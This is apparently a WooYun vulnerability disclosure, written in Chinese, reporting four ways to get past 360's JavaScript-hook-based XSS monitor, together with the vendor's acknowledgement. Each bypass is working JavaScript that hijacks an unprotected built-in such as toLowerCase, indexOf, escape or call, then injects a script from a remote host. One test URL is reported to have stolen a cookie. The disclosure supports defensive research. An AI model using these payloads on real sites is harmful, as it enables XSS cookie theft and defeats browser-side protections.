当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0169588

漏洞标题:360护心镜XSS监控的几个绕过姿势

相关厂商:奇虎360

漏洞作者: 隐形人真忙

提交时间:2016-01-13 14:30

修复时间:2016-04-11 16:08

公开时间:2016-04-11 16:08

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-13: 细节已通知厂商并且等待厂商处理中
2016-01-13: 厂商已经确认,细节仅向厂商公开
2016-01-16: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-03-08: 细节向核心白帽子及相关领域专家公开
2016-03-18: 细节向普通白帽子公开
2016-03-28: 细节向实习白帽子公开
2016-04-11: 细节向公众公开

简要描述:

360护心镜是基于javascript hook机制实现的基于前端的xss防护,产品非常不错,性能也很好,但是还是有一些不足。

详细说明:

drops上发过:http://**.**.**.**/web/10636 ,发现护心镜针对出现的问题做出了相应的修复,但测试时仍然发现一些问题。
护心镜是基于Js Hook技术实现前端页面的监控,在拦截代码中使用了一个大的闭包,所以我们只能从全局变量入手进行绕过,在hxj.min.js最后发现了对一些函数的保护:

1.png


通过Object.defineProperty函数实现了保护,不能继续对这些受保护的函数对象进行劫持。
1、没有对toLowerCase保护
在Hook_Source模块中,主要针对外部源进行监控,在比较时执行如下逻辑:

2.png


3.png


都是通过toLowerCase进行转换,但是代码中没有对这个函数进行保护,所以通过劫持toLowerCase进行绕过。
(1)绕过代码:

String.prototype.toLowerCase = function(e){
return 'shit' ;
};
var s = document.createElement('script') ;
s.src='http://**.**.**.**/R4p6BE2';
document.body.appendChild(s) ;


(2)测试URL(接下来的案例只给出代码):

**.**.**.**/browser/test.php?t=";String.prototype.toLowerCase = function(e){return 'shit' ;};s=document.createElement('script');document.body.appendChild(s);s.src='http://**.**.**.**/R4p6BE2';//


护心镜没有发出告警,XSS平台上收到了cookie。
2、通过Check_domain函数绕过

4.png


对src进行验证的时候通过Check_domain来查看是否src中的URL属于配置过的白名单中的URL,进去看这个函数的逻辑:

5.png


代码中没有对indexOf和replace保护,所以存在如下两个绕过:
(1)劫持replace
测试代码:

var _replace = String.prototype.replace ; 
String.prototype.replace = function(){
return "test" ;
}
s=document.createElement('script');
document.body.appendChild(s);
s.src='http://**.**.**.**/R4p6BE2';


(2)劫持indexOf
Check_domain中对于chrome-extension://域进行了忽略,所以POC构造如下:

var _indexof = String.prototype.indexOf ;
String.prototype.indexOf = function(val){
if(val == 'chrome-extension://'){return 0;}
return _indexof.call(arguments) ;
}
s=document.createElement('script');
document.body.appendChild(s);
s.src='http://**.**.**.**/R4p6BE2';


3、XSSTest模块绕过
这个模块主要拦截一些alert, prompt等测试类型的XSS,也可以绕:

6.png


模块中对alert,confirm,prompt进行了重写,并且在call之前就进行告警操作,但是使用了escape进行编码,进入Report函数看看:

7.png


对参数e进行了判断,所以我们将escape重写,永远返回null就不会执行报警了。

window.escape = function(){
return null ;
}
window.escape = function(){return null ;};
s=document.createElement('script');
document.body.appendChild(s);
s.src='http://**.**.**.**/R4p6BE2';


4、劫持call花式绕过
在护心镜代码中,劫持的最后都是通过call调用原生接口,但是对apply/call本身并没有做对象保护,所以我们可以通过劫持call函数获取到原始接口,代码如下:

var w=window;var d=document;
var _call = Function.prototype.call ;
Function.prototype.call = function(){
if(arguments.length == 0){return;}
if(this.name == 'createElement'){
if(!w._create){
w._create = this ;
}
}
if(this.name == 'setAttribute'){
if(!w._setAttribute){
w._setAttribute = this ;
}
}
return _call.apply(this, arguments) ;
}
s=d.createElement('img').src='/x';
s=_create.call(document, 'script');
Object.defineProperty(s, "src", {
get:function(){
return "chrome-extension://";
},
set:function(e){
_setAttribute.call(s, 'src', e);
}
});
s.src='http://**.**.**.**/browser/evil.js' ;
d.body.appendChild(s);


这里的trick就是调用原始接口_create绕过护心镜中对createElement的hook,并且将script元素的src设置set/get从而绕过Check_domain函数的检测。

漏洞证明:

见详细说明

修复方案:

执行完整的对象保护。

版权声明:转载请注明来源 隐形人真忙@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2016-01-13 16:23

厂商回复:

非常感谢白帽子提供的绕过思路。由于考虑到兼容性、可用性和误报率,部分防绕过的方案没有更新到线上。护心镜是一个公益项目,旨在提高前端攻击成本,其代码和接口都是公开的,自内测以来,我们收到了白帽子们的很多反馈,在此表示衷心感谢,我们会做的更好!

最新状态:

暂无